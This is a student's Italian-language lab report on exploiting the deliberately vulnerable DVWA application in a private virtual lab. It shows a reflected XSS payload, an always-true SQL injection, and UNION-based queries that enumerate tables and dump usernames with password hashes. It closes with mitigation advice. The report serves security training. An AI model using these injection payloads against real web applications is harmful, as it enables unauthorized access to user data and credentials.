



# **REPORT TECNICO**

## **EXPLOIT DVWA – XSS E SQL INJECTION**

**Redatto da:** *Nicolò Calì Cybersecurity Student*

**Data:** 13/01/2026

# 1. Introduzione

## 1.1 Obiettivo

*L'attività d oggi consiste nello sfruttare una vulnerabilità dell'interfaccia web di Metasploitable "DVWA" al fine di effettuare exploit XSS e SQL Injection.*

## 1.2 Scopo e Perimetro

- **Target Autorizzato:** 192.168.50.101 – Metasploitable2
- **Servizio Target:** DVWA (Damn Vulnerable Web Application)

# 2. Ambiente di Lavoro e Strumenti

## 2.1 Configurazione del Laboratorio

*Lavoreremo all'interno di un laboratorio virtuale composto da una macchina attaccante ed una macchina target.*

- **Macchina Attaccante:** Kali Linux 2025.3 - IP: 192.168.50.100
- **Macchina Vittima:** Metasploitable 2 - IP: 192.168.50.101
- **Rete:** Rete Interna associata ad un'interfaccia pfSense

Una volta configurato il nostro laboratorio virtuale eseguiamo il ping su entrambe le macchine per verificare che siano comunicanti tra loro.

Kali → Metasploitable 2:

```
(kali㉿kali)-[~]  
$ ping 192.168.50.101  
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.  
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=0.663 ms  
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=0.887 ms  
64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=0.923 ms  
64 bytes from 192.168.50.101: icmp_seq=4 ttl=64 time=1.13 ms  
64 bytes from 192.168.50.101: icmp_seq=5 ttl=64 time=0.363 ms  
64 bytes from 192.168.50.101: icmp_seq=6 ttl=64 time=0.629 ms  
64 bytes from 192.168.50.101: icmp_seq=7 ttl=64 time=1.07 ms  
64 bytes from 192.168.50.101: icmp_seq=8 ttl=64 time=0.632 ms  
^C  
— 192.168.50.101 ping statistics —  
8 packets transmitted, 8 received, 0% packet loss, time 7188ms  
rtt min/avg/max/mdev = 0.363/0.787/1.130/0.242 ms
```

Metasploitable 2 → Kali:

```
msfadmin@metasploitable:~$ ping 192.168.50.100
PING 192.168.50.100 (192.168.50.100) 56(84) bytes of data.
64 bytes from 192.168.50.100: icmp_seq=1 ttl=64 time=9.07 ms
64 bytes from 192.168.50.100: icmp_seq=2 ttl=64 time=0.985 ms
64 bytes from 192.168.50.100: icmp_seq=3 ttl=64 time=0.887 ms
64 bytes from 192.168.50.100: icmp_seq=4 ttl=64 time=0.658 ms
64 bytes from 192.168.50.100: icmp_seq=5 ttl=64 time=0.551 ms

--- 192.168.50.100 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4009ms
rtt min/avg/max/mdev = 0.551/2.431/9.078/3.327 ms
```

Dopo esserci assicurati che le due macchine virtuali comunicano tra loro, accediamo alla Pagina DVWA dal browser della Kali indirizzando il seguente URL:

<http://192.168.50.101/dvwa>

(Ho usato l'indirizzo IP della mia Metasploitable)

Not Secure http://192.168.50.101/dvwa/security.php

Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

**DVWA**

**DVWA Security** 🔒

**Script Security**

Security Level is currently **high**.

You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

**PHPIDS**

**PHPIDS** v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently **disabled**. [\[enable PHPIDS\]](#)

[\[Simulate attack\]](#) - [\[View IDS log\]](#)

**Home**  
**Instructions**  
**Setup**

**Brute Force**  
**Command Execution**  
**CSRF**  
**File Inclusion**  
**SQL Injection**  
**SQL Injection (Blind)**  
**Upload**  
**XSS reflected**  
**XSS stored**

**DVWA Security**  
**PHP Info**  
**About**  
**Logout**

Username: admin  
Security Level: high  
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

In questa fase andiamo ad impostare il livello di sicurezza a "Low" accedendo dal sotto menù "DVWA Security".

Terminato questo passaggio abbiamo concluso con la fase di configurazione.

## 2.2 Strumenti Utilizzati

- **Browser:** Usato come interfaccia principale per navigare nell'applicazione web DVWA

## 3. Attività Tecnica e Metodologia

*In questa sezione vengono descritte le tecniche di attacco utilizzate contro l'applicazione target DVWA per dimostrare le vulnerabilità presenti.*

*I test si concentrano su due delle vulnerabilità più critiche per le applicazioni web:*

- **Cross-Site Scripting (XSS):** È una vulnerabilità che permette a un attaccante di iniettare script malevoli (solitamente JavaScript o HTML) all'interno delle pagine web visualizzate da altri utenti. L'obiettivo principale è colpire il client (il browser della vittima), potendo portare al **furto di cookie** di sessione o al **reindirizzamento** verso siti malevoli.
- **SQL Injection:** È una tecnica che sfrutta la mancata sanitizzazione degli input per inserire **comandi SQL** arbitrari nelle query inviate al database di backend. A differenza dell'XSS, l'obiettivo qui è colpire il server e il **database**, permettendo di leggere, modificare o eliminare **dati sensibili** a cui non si dovrebbe avere accesso.

### 3.1 Fase 1: L'Attacco XSS Reflected

L'attacco **XSS** di tipo "**Reflected**" (Riflesso) si verifica quando l'input fornito dall'utente viene immediatamente restituito (riflesso) dall'applicazione web nella **risposta HTTP** senza adeguati controlli o **sanitizzazione**. In questo scenario, sfruttiamo il campo di input che richiede il nome dell'utente. L'applicazione prende ciò che scriviamo e lo stampa a video ("Hello [User\_Input]").

Inserendo del codice JavaScript invece di un nome, se l'applicazione è vulnerabile, il browser interpreterà ed eseguirà quel codice.

- **Comando lanciato:** `<script>alert('XSS Eseguito!')</script>`
- **Osservazione:** Dopo aver premuto il tasto "Submit", l'applicazione ha riflesso il payload all'interno del codice HTML della pagina. Il browser ha interpretato i tag `<script>` ed ha eseguito il codice JavaScript contenuto, generando una finestra di popup (alert), nel mio caso, con il messaggio "XSS Eseguito!".

[Home](#)[Instructions](#)[Setup](#)[Brute Force](#)[Command Execution](#)[CSRF](#)[File Inclusion](#)[SQL Injection](#)[SQL Injection \(Blind\)](#)[Upload](#)[XSS reflected](#)[XSS stored](#)[DVWA Security](#)[PHP Info](#)[About](#)[Logout](#)

## Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

<script>alert('XSS Eseg...'

### More info

<http://ha.ckers.org/xss.html>

[http://en.wikipedia.org/wiki/Cross-site\\_scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)

<http://www.cgisecurity.com/xss-faq.html>

Username: admin  
Security Level: low  
PHPIDS: disabled

[View Source](#)[View Help](#)

Damn Vulnerable Web Application (DVWA) v1.0.7

🌐 192.168.50.101

XSS Eseguito!

OK

Questo conferma che l'applicazione non filtra i caratteri speciali come < e > e che è possibile eseguire codice arbitrario nel contesto del browser dell'utente.

### 3.2 Fase 2: L'Attacco SQL Injection

L'exploit di **SQL Injection** mira a manipolare la query logica che l'applicazione invia al database.

L'applicazione **DVWA** richiede un "User ID" per mostrare i dettagli di un singolo utente (es. `SELECT ... WHERE ID = '$id'`).

L'obiettivo è alterare questa logica inserendo una condizione che risulti sempre vera, costringendo il database a restituire non solo l'utente richiesto, ma tutti i record presenti nella tabella.

Vediamo i passaggi da effettuare per effettuare l'exploit:

- **Analisi del comportamento normale:** È stato inizialmente inserito un input valido (1) nel campo "User ID". L'applicazione ha restituito correttamente i dati del solo utente "admin".

*Query presunta:* `SELECT first_name, last_name FROM users WHERE user_id = '1';`

**DVWA**

Home  
Instructions  
Setup  
Brute Force  
Command Execution  
CSRF  
File Inclusion  
**SQL Injection**  
SQL Injection (Blind)  
Upload  
XSS reflected  
XSS stored  
DVWA Security  
PHP Info  
About  
Logout

## Vulnerability: SQL Injection

User ID:

ID: 1  
First name: admin  
Surname: admin

### More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>  
[http://en.wikipedia.org/wiki/SQL\\_injection](http://en.wikipedia.org/wiki/SQL_injection)  
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin  
Security Level: low  
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

- **Iniezione del Payload:** Per bypassare il filtro, è stato inserito un payload che utilizza l'operatore logico OR seguito da una condizione sempre vera (1=1), commentando il resto della query originale se necessario. Il payload utilizzato è il seguente: ' OR '1'='1

**Vulnerability: SQL Injection**

User ID:

ID: ' OR '1'='1  
First name: admin  
Surname: admin

ID: ' OR '1'='1  
First name: Gordon  
Surname: Brown

ID: ' OR '1'='1  
First name: Hack  
Surname: Me

ID: ' OR '1'='1  
First name: Pablo  
Surname: Picasso

ID: ' OR '1'='1  
First name: Bob  
Surname: Smith

**More info**

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>  
[http://en.wikipedia.org/wiki/SQL\\_injection](http://en.wikipedia.org/wiki/SQL_injection)  
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin  
Security Level: low  
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

- **Analisi del risultato:** L'applicazione ha interpretato l'input come parte del comando SQL. La query modificata è diventata logicamente equivalente a "Seleziona l'utente con ID nullo OPPURE se 1 è uguale a 1". Poiché 1 è sempre uguale a 1, la condizione è vera per ogni riga della tabella.

L'applicazione ha mostrato a video l'elenco completo di tutti gli account registrati nel database (admin, gordonb, 1337, pablo, smitty), esponendo dati che non dovrebbero essere accessibili pubblicamente.

### 3.3 Fase 3: Enumerazione del Database (UNION Based)

Per approfondire l'attacco e ottenere informazioni sulla struttura del database, è stata utilizzata la tecnica UNION Based SQL Injection. Questa tecnica permette di unire i risultati della query legittima con i risultati di una query arbitraria scelta dall'attaccante.

L'attacco si è svolto in due step metodologici:

**Step 1:** Identificazione del numero di colonne Prima di poter estrarre dati, è necessario determinare quante colonne vengono restituite dalla query originale, poiché l'operatore **UNION** richiede che entrambe le query abbiano lo stesso numero di colonne. Si procede per tentativi utilizzando il valore null.

Comando lanciato: ' **UNION SELECT null, null -- -**


The screenshot displays the DVWA web application interface. The main heading is "Vulnerability: SQL Injection". A form for "User ID:" is present, with a "Submit" button. The output of the query is shown in red text: "ID: ' UNION SELECT null, null -- -", "First name:", and "Surname:". The left sidebar contains a list of navigation links, with "SQL Injection" highlighted. The bottom of the page shows the user's session information: "Username: admin", "Security Level: low", and "PHPIDS: disabled". The footer indicates the application version: "Damn Vulnerable Web Application (DVWA) v1.0.7".

L'applicazione non ha restituito errori e ha visualizzato la pagina correttamente (anche se con campi vuoti). Questo conferma che la query originale utilizza 2 colonne. Se avessimo usato un numero sbagliato di null, il database avrebbe restituito un errore.



**Step 2:** Enumerazione delle Tabelle (Information Schema) Una volta stabilito il numero di colonne, è stato interrogato l'information\_schema, un database standard che contiene i metadati (informazioni sulla struttura) di tutto il sistema. L'obiettivo è ottenere la lista delle tabelle presenti.

Comando lanciato: **UNION SELECT table\_name, null FROM information\_schema.tables -- -**



- Home
- Instructions
- Setup
- Brute Force
- Command Execution
- CSRF
- File Inclusion
- SQL Injection
- SQL Injection (Blind)
- Upload
- XSS reflected
- XSS stored
- DVWA Security
- PHP Info
- About
- Logout

## Vulnerability: SQL Injection

User ID: **UNION SELECT table\_name, null FROM information\_schema.tables -- -**

```
ID: ID: ' UNION SELECT table_name,column_name FROM information_schema.columns WHERE
First name: guestbook
Surname: comment_id

ID: ID: ' UNION SELECT table_name,column_name FROM information_schema.columns WHERE
First name: guestbook
Surname: comment

ID: ID: ' UNION SELECT table_name,column_name FROM information_schema.columns WHERE
First name: guestbook
Surname: name

ID: ID: ' UNION SELECT table_name,column_name FROM information_schema.columns WHERE
First name: users
Surname: user_id

ID: ID: ' UNION SELECT table_name,column_name FROM information_schema.columns WHERE
First name: users
Surname: first_name

ID: ID: ' UNION SELECT table_name,column_name FROM information_schema.columns WHERE
First name: users
Surname: last_name

ID: ID: ' UNION SELECT table_name,column_name FROM information_schema.columns WHERE
First name: users
Surname: user

ID: ID: ' UNION SELECT table_name,column_name FROM information_schema.columns WHERE
First name: users
Surname: password

ID: ID: ' UNION SELECT table_name,column_name FROM information_schema.columns WHERE
First name: users
Surname: avatar
```

### More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>  
[http://en.wikipedia.org/wiki/SQL\\_injection](http://en.wikipedia.org/wiki/SQL_injection)  
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin  
Security Level: low  
PHPIDS: disabled


Damn Vulnerable Web Application (DVWA) v1.0.7

L'applicazione ha restituito l'elenco di tutte le tabelle accessibili nel database. Nell'output è stato possibile individuare tabelle di interesse come users e guestbook. Questa fase è cruciale in un penetration test "Black Box" per identificare dove risiedono le credenziali prima di tentare l'estrazione dei dati.

**Step 3 Estrazione delle Credenziali** : Una volta identificata la presenza della tabella users (nello step precedente), l'ultimo passaggio dell'attacco consiste nell'estrarre il contenuto delle colonne sensibili: **user** e **password**.

Per farlo, utilizziamo nuovamente la tecnica **UNION**, chiedendo al database di mostrare il contenuto di quelle specifiche colonne al posto dei campi "First name" e "Surname"

Comando lanciato: **' UNION SELECT user, password FROM users -- -**



Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info


About

Logout

## Vulnerability: SQL Injection

User ID: **' UNION SELECT user, password FROM users -- -**  
   

ID: ' UNION SELECT user, password FROM users -- -  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99  
ID: ' UNION SELECT user, password FROM users -- -  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03  
ID: ' UNION SELECT user, password FROM users -- -  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b  
ID: ' UNION SELECT user, password FROM users -- -  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7  
ID: ' UNION SELECT user, password FROM users -- -  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99



### More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>  
[http://en.wikipedia.org/wiki/SQL\\_injection](http://en.wikipedia.org/wiki/SQL_injection)  
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin  
Security Level: low  
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

L'applicazione ha restituito l'elenco completo degli utenti.

- Nel campo **First name** viene visualizzato lo *Username* (es. admin, gordonb...).
- Nel campo **Surname** viene visualizzato l'Hash della *Password*.

## 4. Conclusioni

### 4.1 Riepilogo

L'obiettivo dell'attività, volto a sfruttare le vulnerabilità **XSS (Cross-Site Scripting)** e **SQL Injection** sulla piattaforma DVWA, è stato pienamente raggiunto.

I test condotti hanno dimostrato che, con il livello di sicurezza impostato su "*Low*", l'applicazione non applica filtri adeguati agli input dell'utente. Questo ha permesso di:

1. Eseguire codice JavaScript arbitrario nel browser tramite **XSS Reflected**, confermando la possibilità di attacchi mirati agli utenti (es. furto di sessione tramite l'ottenimento dei cookies).
2. Manipolare le interrogazioni al database tramite **SQL Injection**, ottenendo l'accesso non autorizzato all'intera lista degli utenti registrati e compromettendo la riservatezza dei dati.

### 4.2 Raccomandazioni

Per mitigare le criticità rilevate e mettere in sicurezza l'applicazione, si consigliano i seguenti interventi correttivi, basati sulle best practice di sicurezza:

- **Per prevenire XSS:**
  - **Sanitizzazione degli Input:** È necessario verificare e pulire tutti i dati in ingresso per neutralizzare caratteri speciali (come < e >) che possono essere usati per iniettare script.
  - **Escaping dell'Output:** Prima di visualizzare i dati nel browser, occorre effettuare l'escaping (ad esempio convertendo i caratteri speciali in entità HTML sicure), impedendo così che vengano interpretati come codice eseguibile.
- **Per prevenire SQL Injection:**
  - **Validazione Rigorosa:** L'applicazione non deve mai fidarsi dell'input utente. Tutti gli input devono essere validati (es. assicurarsi che un ID sia solo numerico) e sanitizzati prima di essere elaborati.
  - **Escaping dei Caratteri:** È fondamentale implementare meccanismi che effettuino l'escaping dei caratteri speciali all'interno delle query SQL, o utilizzare interfacce database che gestiscano separatamente i dati dai comandi (Prepared Statements), rendendo inefficaci i tentativi di manipolazione della query.